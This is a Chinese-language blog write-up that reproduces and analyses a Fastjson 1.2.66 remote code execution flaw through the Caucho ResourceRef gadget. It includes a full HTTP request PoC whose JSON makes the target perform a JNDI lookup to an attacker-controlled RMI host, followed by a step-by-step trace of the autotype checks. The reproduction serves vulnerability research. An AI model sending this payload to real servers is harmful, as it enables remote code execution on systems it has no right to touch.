Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

0x01 漏洞背景

fastjson<= 1.2.66

0x02 漏洞复现

poc:

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 115

{
	"@type":"com.caucho.config.types.ResourceRef",
	"LookupName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit"
}

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

0x03 漏洞分析

在开启AutoType之后,会先过白名单,若在白名单之中,则直接加载该类。若不在白名单,且不在黑名单中则加载该类,若在黑名单中则直接抛出异常。

发送poc

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

解析

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

checkAutoType进行类名检查

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

黑白名单检查

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

说白了就是,因为开启了AutoTypeSupport之后,会进入黑白名单检查,但这个类不在黑名单检测当中所以在黑白名单之后加载该类。

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

进入deserialize方法进行发序列化操作

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

最终跟到setvalue

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

前面的分析也讲过,当fastjson进行反序列化时会调用该对象的set方法进行属性赋值,调用get方法进行值的获取。如本文中的poc是LookupName,所以会对应调用该类的setLookupName方法。

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

最终在调用getValue获取value属性的时候,刚刚好触发了lookup方法,且参数可控,为我们设置的LookupName的rmi链接

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

从而造成了远程命令执行。

0x04 参考

https://mp.weixin.qq.com/s/4JzPRolR0cELL5g9bWM_eA

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

上一篇:CSS核心总结


下一篇:Jsp 9—— 内置对象